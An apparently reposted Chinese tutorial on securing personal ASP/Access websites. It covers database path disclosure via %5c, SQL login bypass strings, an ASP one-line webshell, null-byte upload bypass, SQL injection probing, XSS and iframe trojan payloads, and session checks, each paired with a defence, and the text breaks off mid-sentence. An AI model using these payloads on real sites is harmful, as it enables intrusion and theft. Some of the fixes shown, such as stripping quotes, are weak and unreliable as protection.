明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

asp個(gè)人首頁(yè)安全總結(jié)

[摘要]前言: 最近在做畢業(yè)設(shè)計(jì), 一同學(xué)問(wèn)我asp做的站應(yīng)該注意哪些安全問(wèn)題, 我納悶了好久, 我自己都沒(méi)考慮這個(gè)問(wèn)題的, 哎, 這同學(xué)也太認(rèn)真了!想一想大家努力學(xué)習(xí)了html, javascript,...

前言:

最近在做畢業(yè)設(shè)計(jì), 一同學(xué)問(wèn)我asp做的站應(yīng)該注意哪些安全問(wèn)題, 我納悶了好久, 我自己都沒(méi)考慮這個(gè)問(wèn)題的, 哎, 這同學(xué)也太認(rèn)真了!想一想大家努力學(xué)習(xí)了html, javascript, asp后, 是不是都想自己做個(gè)個(gè)人主頁(yè)掛到網(wǎng)上呢, 是不是搞了半天就做了幾個(gè)頁(yè)面出來(lái)了, 最后還是到網(wǎng)上找一有后臺(tái)的改改, 掛網(wǎng)上去了。 這下就應(yīng)該注意一下常見(jiàn)的安全漏洞了, 雖然都比較老, 可是新手根本不知道有這回事所以老犯這個(gè)錯(cuò)誤的。 于是根據(jù)自己以前改別人系統(tǒng)的經(jīng)驗(yàn), 總結(jié)了下, 也算是對(duì)他的交代, 嘿嘿, 新手進(jìn)來(lái), 菜鳥(niǎo)飄過(guò), 還是那句話。 自己不知道, 并不表示不存在!下面以我改的主頁(yè)來(lái)說(shuō)明下!

1爆庫(kù)

原理:

"%5c"暴庫(kù)法, 它不是網(wǎng)頁(yè)本身的漏洞, 而是利用了iis解碼方式中的一個(gè)特性, 如果iis安全設(shè)置不周全, 而網(wǎng)頁(yè)設(shè)計(jì)者未考慮IIS錯(cuò)誤, 就會(huì)被人利用。 為何要用"%5c"?它實(shí)際上是"\"的十六進(jìn)制代碼, 也就是"\"的另一種表示法。 當(dāng)我們把"/"換成十六進(jìn)制寫(xiě)法"%5c"時(shí), ie不會(huì)對(duì)此進(jìn)行轉(zhuǎn)換。 地址中的"%5c"被原樣提交了.當(dāng)iis收到后解析時(shí), 又會(huì)將%5c還原成"\",所有調(diào)用數(shù)據(jù)庫(kù)的連接文件中都有Server.MapPath方法的作用是將網(wǎng)站中的相對(duì)路徑轉(zhuǎn)變成物理上的絕對(duì)路徑。 為何要這樣?因?yàn)檫B接數(shù)據(jù)庫(kù)時(shí), 須指明它的絕對(duì)路徑。

也就是說(shuō)網(wǎng)址目錄只表示從根目錄起的相對(duì)位置。 當(dāng)Server.MapPath方法將相對(duì)路徑轉(zhuǎn)為真實(shí)路徑時(shí), 它實(shí)際是三部分路徑加在一起得到真實(shí)路徑的:網(wǎng)頁(yè)目前執(zhí)行時(shí)所在的相對(duì)路徑, 也就是從網(wǎng)站物理根目錄起的相對(duì)路徑, 設(shè)置過(guò)iis的人都會(huì)知道, 每一個(gè)網(wǎng)站, 都必須指定它在硬盤(pán)上的物理目錄, Server.MapPath方法正是通過(guò)把"網(wǎng)站根目錄的物理地址+完整的相對(duì)路徑", 從而得到真實(shí)的物理路徑。 在這里, IIS以"\"表示真實(shí)路徑的目錄關(guān)系, 而以"/"表示虛擬路徑, 這可能就是IE會(huì)自動(dòng)把我們地址中的"\"轉(zhuǎn)為"/"的原因, 在iis中, "/"和"\"代表著不同的意義, 遇到了"\"時(shí), 認(rèn)為它已到了根目錄所在的物理路徑, 不再往上解析, 而這個(gè)路徑是不存在的, 數(shù)據(jù)庫(kù)連接當(dāng)然會(huì)失敗, 于是IIS會(huì)報(bào)錯(cuò), 并給出錯(cuò)誤原因。

我們只有在數(shù)據(jù)庫(kù)相對(duì)地址和它的目錄絕對(duì)地址之間使用"\"("%5c"), 才能達(dá)到目的。 即是在最右邊第一個(gè)/處使用%5c成功可能性是最大的.

conn.asp(數(shù)據(jù)庫(kù)連接文件)暴庫(kù)大法, 如果說(shuō)第一種暴庫(kù)法是利用了絕對(duì)路徑出錯(cuò), 那么, 這種暴庫(kù)法就是利用了相對(duì)路徑出錯(cuò)。 一般來(lái)說(shuō), 只要conn.asp不在根目錄的系統(tǒng), 而調(diào)用文件在根目錄, 就會(huì)出現(xiàn)這種問(wèn)題。 當(dāng)然這種說(shuō)法也是經(jīng)驗(yàn)性的, 準(zhǔn)確的說(shuō)就是, conn.asp與調(diào)用它的文件, 如果相對(duì)位置改變了, 就會(huì)報(bào)錯(cuò), 暴出數(shù)據(jù)庫(kù)路徑。

利用:

下面是我自己的電腦上測(cè)試:訪問(wèn)

http://localhost/198816/index.asp, 正常訪問(wèn),

然后將url改成http://localhost/198816%5cindex.asp, 出現(xiàn)如下錯(cuò)誤:

Microsoft JET Database Engine (0x80004005)

找不到文件 'E:\10\data.mdb'。

/data.asp, 第 11 行

看這里爆庫(kù)出現(xiàn)了, 得到了數(shù)據(jù)庫(kù)名字和路徑;

我們可以將其下載,

在ie輸入http://localhost/198816/data.mdb, 出現(xiàn)下載頁(yè)面。

下載了數(shù)據(jù)庫(kù)之后, 如果數(shù)據(jù)庫(kù)有密碼, 使用access密碼破解器, 不要幾秒就可以得到密碼, 下面就可以瀏覽所有數(shù)據(jù)庫(kù)的內(nèi)容了, 一般后臺(tái)密碼都是MD5加密的, 可以直接上MD5網(wǎng)站破解出來(lái)!如果無(wú)法查詢到, 那就是運(yùn)氣問(wèn)題了, 如果你肉雞夠好夠多, 那就慢慢暴力破解吧!不過(guò)暴力破解好象沒(méi)有誰(shuí)會(huì)這樣做!

Conn爆庫(kù)也類(lèi)似!

防范方法:

在數(shù)據(jù)庫(kù)連接文件中加入容錯(cuò)語(yǔ)句即可, 我在data.asp的開(kāi)頭加入了,

On Error Resume Next

再在結(jié)尾加入錯(cuò)誤處理語(yǔ)句,

If  Err Then

err.Clear

Set Conn = Nothing

Response.Write "fuck!"

Response.End

End If

現(xiàn)在再去爆庫(kù), 你發(fā)現(xiàn)頁(yè)面只輸出了fuck!爆庫(kù)不成功!

下面我們說(shuō)說(shuō)即使存在爆庫(kù), 在別人知道你數(shù)據(jù)庫(kù)路徑的情況下, 別人也無(wú)法下載你的數(shù)據(jù)庫(kù)!

2數(shù)據(jù)庫(kù)安全

asp結(jié)合access數(shù)據(jù)庫(kù)是最常見(jiàn)的, access數(shù)據(jù)庫(kù)最大的缺點(diǎn)就是容易被搜索到, 然后被下載, 而暴露帳號(hào)和密碼, 防止數(shù)據(jù)庫(kù)被下載的常見(jiàn)方法有如下幾種, 如果你有更好的方法請(qǐng)告訴我。 我也是菜鳥(niǎo)·~~~~:

1.        將數(shù)據(jù)庫(kù)改成自己都無(wú)法記住的BT名字。 這種方法對(duì)爆庫(kù)沒(méi)用, 而且使用google也有可能搜到數(shù)據(jù)庫(kù)路徑。

2.        在數(shù)據(jù)庫(kù)名字中加#號(hào)或者%24=$等特區(qū)字符, 利用URL編碼特性防止下載。

3.        去掉后綴, 不要擴(kuò)展名, 系統(tǒng)有可以解析成路徑, 從而無(wú)法下載, 當(dāng)然XP下測(cè)試是可以下載的, 我的格式是fat32。 其他系統(tǒng)沒(méi)測(cè)試, 有人測(cè)試了告訴我下, 謝謝!

4.        加系統(tǒng)文件的后綴, 如后綴改為.db, .temp等。 聽(tīng)說(shuō)系統(tǒng)是不允許下載這些后綴的文件的!

5.        在數(shù)據(jù)庫(kù)中建立一個(gè)nodown的表, 建立一個(gè)字段數(shù)據(jù)類(lèi)型選擇ole對(duì)象。

6.        網(wǎng)絡(luò)上最常見(jiàn)的方法是, 把數(shù)據(jù)庫(kù)后綴改為asp等系統(tǒng)可以解析的后綴。

第6個(gè)是網(wǎng)絡(luò)上使用的最多的方法, 但是也不是完美的, 如果別人可以通過(guò)留言等其他方法向數(shù)據(jù)庫(kù)提交數(shù)據(jù), 那就危險(xiǎn)了, 如果別人提交<%execute(request("a"))%>到數(shù)據(jù)庫(kù), 那么訪問(wèn)數(shù)據(jù)庫(kù)就可以執(zhí)行了此語(yǔ)句, 這樣可以執(zhí)行提交的任意代碼。

當(dāng)然這個(gè)也是可以消除的, 我們可以通過(guò)在ole對(duì)象中加入如<%loop <%loop <%1=2<%2=1這樣的語(yǔ)句, 讓asp出錯(cuò)來(lái)防止下載。 實(shí)現(xiàn)這種效果我采用兩種方法實(shí)現(xiàn)過(guò), 一.

建立一個(gè)nodown的表, nodown的字段, 類(lèi)型選擇ole對(duì)象, 然后建立一個(gè)文本文件。 里面的內(nèi)容為<%loop <%loop <%1=2<%2=1, 然后打開(kāi)nodown表, 選擇nodown字段, 右擊選擇插入對(duì)象, 選擇由文件創(chuàng)建, 瀏覽對(duì)位到剛才建立的文本文件, 加入nodown表中, 然后把數(shù)據(jù)庫(kù)改為asp后綴, 在訪問(wèn), 發(fā)現(xiàn)出現(xiàn)如下錯(cuò)誤:

Active Server Pages, ASP 0116 (0x80004005)

Script 塊缺少腳本關(guān)閉標(biāo)記(% >)。

/198816/dataasp.asp, 第 577 行

說(shuō)明成功實(shí)現(xiàn)。 這里nodown表一定要在其他表的前面, 注意了。ㄎ乙膊恢佬枰恍枰。

二.

使用asp代碼, 向數(shù)據(jù)庫(kù)中增加nodown的表和字段, 代碼如下:

<%

db="data.mdb" ‘這里改成數(shù)據(jù)庫(kù)的地址

Set conn = Server.CreateObject("ADODB.Connection")

constr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")

conn.Open constr

conn.execute(“create table nodown(notdown oleobject)”)

set rs=server.createobject(“adodb.recordset”)

sql=”select * from nodown”

rs.open sql,conn,1,3

rs.addnew

rs(“nodown”).appendchunk(chrB(asc(“<”))&chrB(asc(“%”)))

rs.update

rs.close

set rs=nothing

conn.close

set conn=nothing

%>

網(wǎng)上的方法還有很多, 大體就這兩種, 我就不重復(fù)了。 這里還有一點(diǎn)數(shù)據(jù)庫(kù)的問(wèn)題, 就是刪除掉大量數(shù)據(jù)后, 數(shù)據(jù)庫(kù)大小并沒(méi)有改變, 這里只要使用工具-〉數(shù)據(jù)庫(kù)實(shí)用工具-〉壓縮和修復(fù)數(shù)據(jù)庫(kù), 就可以了!

我的設(shè)置如下:

密碼設(shè)置復(fù)雜點(diǎn), 并且MD5加密, 使用第一種方法加入nodwon表和字段, 數(shù)據(jù)庫(kù)后綴改為asp, 名字改為%24#$%da#%ta@##%conn#.asp.

我覺(jué)得對(duì)于個(gè)人主頁(yè)來(lái)說(shuō), 已經(jīng)比較安全了, 但是安全不是絕對(duì)的.

3萬(wàn)能密碼

這個(gè)就是傳說(shuō)中的'or'='or'了, 雖然危害很大, 可直接饒過(guò)后臺(tái)驗(yàn)證, 進(jìn)入后臺(tái), 但是確實(shí)是到處可見(jiàn)。

原理:

如都輸入'or'='or'則如下語(yǔ)句為真,

sql="select * from admin where adminname='"&request.form("adminname)&"' and adminpass='"&request.form("adminpass")&"'"變成了

sql="select * from admin where adminname=”or'='or” and adminpass=”or'='or”

從而返回真, 跳過(guò)認(rèn)證。

利用:

后臺(tái)帳號(hào)和密碼都或使用一下一種:

1:"or "a"="a

2: ')or('a'='a

3:or 1=1--

4:'or 1=1--

5:a'or' 1=1--

6:"or 1=1--

7:'or'a'='a

8:"or"="a'='a

9:'or''='

10:'or'='or'

11:最短的萬(wàn)能登陸密碼 'or'1

12:'or 1 or'或'or''=''or'

還有其他很多!

防范:

有方法是過(guò)濾掉單引號(hào), 好象其他數(shù)據(jù)庫(kù)里面還要過(guò)濾到單引號(hào)的其他編碼。 如:

dim name,Pass

name=replace(trim(request.Form("name")),"'","")

Pass=md5(replace(trim(request.form("Pass")),"'",""))

我的登陸驗(yàn)證還采用了,

ivcode=trim(request.form("ivcode")), ivcode是寫(xiě)在配置asp文件中的變量, 這樣安全更好了, 即使知道密碼, 存在這個(gè)漏洞, 不知道定義的ivcode值, 一樣無(wú)法登陸后臺(tái)!

4上傳

上傳這個(gè)漏洞比較難以理解, 也許大家是多抓包, 改包, nc上傳不太熟悉, 多練習(xí)幾次就可以了。 個(gè)人主頁(yè)中有可以會(huì)用到上傳各種文件, 如rar, gif, swf, 等這樣必須為這些文件分類(lèi)存放, 這樣在上傳時(shí)選擇上傳類(lèi)型, 傳遞想對(duì)類(lèi)型的路徑給上傳頁(yè)面, 大家是不是都很熟悉, 呵呵, 其實(shí)這樣就形成了上傳漏洞了!

原理:

一、        FilePath.此為變量, 為上傳頁(yè)面?zhèn)鬟f到保存頁(yè)面的變量, 這里我們就可以修改其值該為asp□, 然后利用服務(wù)器在讀取這段變量時(shí), 因?yàn)?ldquo;□”是二進(jìn)制的00, 服務(wù)器認(rèn)為該變量語(yǔ)句已經(jīng)結(jié)束了, 于是“□”后面的字符也就被忽略掉了, 這樣一來(lái), 上傳的文件就保存為了asp后綴了。

二、FileName.這里指可以上傳修改了后綴為aaspsp ccerer等類(lèi)型的asp文件, 而饒過(guò)過(guò)濾和認(rèn)證.得到shell., 還有通過(guò)很多方法饒過(guò)認(rèn)證。 還是那句話, 我們不知道的并不表示不存在。

利用:

可以采取用WinSock抓包, 然后用記事本保存提交數(shù)據(jù)并增加、修改相關(guān)內(nèi)容, 再用WinHex修改空格為二進(jìn)制, 最后用NC提交.建議使用上傳工具直接上傳!免的修改包的麻煩!

防范:

一.        路徑定義為常量.

二.        過(guò)濾服務(wù)器可以解吸的文件類(lèi)型, 并且檢測(cè)到上傳危險(xiǎn)文件則停止上傳, 并且定義只可以上傳的類(lèi)型!

5注入

首先我們?cè)贗E的“Internet選項(xiàng)→高級(jí)”中有一個(gè)“顯示友好HTTP錯(cuò)誤信息”的選項(xiàng), 取消前面的鉤。 這樣才可以顯示注入!SQL注入的漏洞通常是由于程序員對(duì)它不了解, 設(shè)計(jì)程序時(shí)某個(gè)參數(shù)過(guò)濾不嚴(yán)格所致。 通常通過(guò)在如show.asp?id=79后加單引號(hào), 如果出錯(cuò)則初步認(rèn)定存在注入, 然后加and 1=1 ;and 1=2, 這里分辨兩次提交的頁(yè)面有不同沒(méi)?如果有不同則判定存在漏洞!當(dāng)然也有字符型和搜索型的, 原理都差不多。 網(wǎng)上說(shuō)的太多了, 我就不重復(fù)了, 防范也一般網(wǎng)上都有防范注入的代碼, 下過(guò)來(lái), 包含到需要放注入的頁(yè)面即可!

6跨站

一般都是帶有象JAVAScript等這類(lèi)腳本代碼, 這樣在服務(wù)里一旦被執(zhí)行就形成了所謂的跨站攻擊了。 一般來(lái)說(shuō)對(duì)于人機(jī)交互行比較高的程序, 比如論壇, 留言版這類(lèi)程序都比較容易存在跨站script攻擊。 所謂跨站腳本漏洞其實(shí)就是Html的注入問(wèn)題, 惡意用戶的輸入沒(méi)有經(jīng)過(guò)嚴(yán)格的控制進(jìn)入了數(shù)據(jù)庫(kù)最終顯示給來(lái)訪的用戶, 導(dǎo)致可以在來(lái)訪用戶的瀏覽器里以瀏覽用戶的身份執(zhí)行HTml代碼.如<script>alert(’xss’)</script> <img class='lazy' data-original="javascript:alert(/xss/)" width=100>, 這樣的代碼如果過(guò)濾的不是很好的話, 直接放入數(shù)據(jù)庫(kù), 再在瀏覽器里顯示出來(lái), 就構(gòu)成了跨站。 個(gè)人主頁(yè)用的最多的是自己寫(xiě)的留言本了, 這里如果不加任何的過(guò)濾就直接放入數(shù)據(jù)庫(kù), 那么就構(gòu)成了跨站, 通過(guò)<iframe src=”馬地址”>就可以直接掛馬!

防堵跨站漏洞, 阻止攻擊者利用在被攻擊網(wǎng)站上發(fā)布跨站攻擊語(yǔ)句, 不可以信任用戶提交的任何內(nèi)容, 首先代碼里對(duì)用戶輸入的地方和變量都需要仔細(xì)檢查長(zhǎng)度和對(duì)”<”,”>”,”;”,”’”等字符做過(guò)濾;其次任何內(nèi)容寫(xiě)到頁(yè)面之前都必須加以encode, 避免不小心把html tag弄出來(lái)。 這一個(gè)層面做好, 至少可以堵住超過(guò)一半的XSS攻擊。 所以防范數(shù)據(jù)的轉(zhuǎn)換和過(guò)濾是可以在3個(gè)地方進(jìn)行轉(zhuǎn)換的, 在接受數(shù)據(jù)的時(shí)候可以轉(zhuǎn)換下, 在進(jìn)入數(shù)據(jù)庫(kù)的時(shí)候可以轉(zhuǎn)換下, 在輸出數(shù)據(jù)的時(shí)候也可以轉(zhuǎn)換下.所以我們寫(xiě)留言本的時(shí)候, 建議所有數(shù)據(jù)直接通過(guò)htmlencode轉(zhuǎn)化再放入數(shù)據(jù)庫(kù), 這樣就萬(wàn)無(wú)一失了.

7session安全

在計(jì)算機(jī)專業(yè)術(shù)語(yǔ)中, Session是指一個(gè)終端用戶與交互系統(tǒng)進(jìn)行通信的時(shí)間間隔, 通常指從注冊(cè)進(jìn)入系統(tǒng)到注銷(xiāo)退出系統(tǒng)之間所經(jīng)過(guò)的時(shí)間。 具體到Web中的Session指的就是用戶在瀏覽某個(gè)網(wǎng)站時(shí), 從進(jìn)入網(wǎng)站到瀏覽器關(guān)閉所經(jīng)過(guò)的這段時(shí)間, 也就是用戶瀏覽這個(gè)網(wǎng)站所花費(fèi)的時(shí)間。 因此從上述的定義中我們可以看到, Session實(shí)際上是一個(gè)特定的時(shí)間概念。 一般來(lái)說(shuō), 后臺(tái)管理員在登錄頁(yè)面輸入賬號(hào)密碼后, 程序會(huì)拿著他提交的用戶名密碼去數(shù)據(jù)庫(kù)的管理員表里面找, 如果有這個(gè)人的賬號(hào)密碼就認(rèn)為你是管理員, 然后給你一個(gè)表示你身份的Session值;或者程序先把你的用戶名密碼提取出來(lái), 然后到數(shù)據(jù)庫(kù)的管理員表里面取出管理員的賬號(hào)密碼來(lái)和你提交的相比較, 如果相等, 就跟上面一樣給你個(gè)表示你身份的Sesion值。 然后你進(jìn)入任何一個(gè)管理頁(yè)面它都要首先驗(yàn)證你的Session值, 如果是管理員就讓你通過(guò), 不是的話就引導(dǎo)你回到登錄頁(yè)面或者出現(xiàn)一些奇奇怪怪的警告, 這些都跟程序員的個(gè)人喜好有關(guān)。 個(gè)人主頁(yè)很少使用cookie驗(yàn)證了吧?因?yàn)閟ession驗(yàn)證比較安全, 也比較方便。 但是session也可以欺騙的, 只是局限性比較大。

我們自己寫(xiě)的個(gè)人主頁(yè)后臺(tái)這里最需要注意的就是session的安全了, 每個(gè)頁(yè)面都要加上判斷是否存在session的語(yǔ)句, 最好是把這個(gè)放到一個(gè)頁(yè)面, 在后臺(tái)每個(gè)頁(yè)面都連接進(jìn)來(lái), 或則出現(xiàn)直接輸入后臺(tái)頁(yè)面就可以操作后臺(tái), 那就后臺(tái)的驗(yàn)證白做了!這里要最要注意的就是上傳頁(yè)面的驗(yàn)證了。 一定要判斷session驗(yàn)證了沒(méi), 否則別人直接輸入上傳頁(yè)面就可以直接上傳文件, 那你就等著中馬吧!

后記:

asp個(gè)人主頁(yè)安全的一些問(wèn)題基本都提到了, 對(duì)我們自己寫(xiě)一個(gè)自己的主頁(yè)以及修改別人的系統(tǒng)已經(jīng)足夠了, 但


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。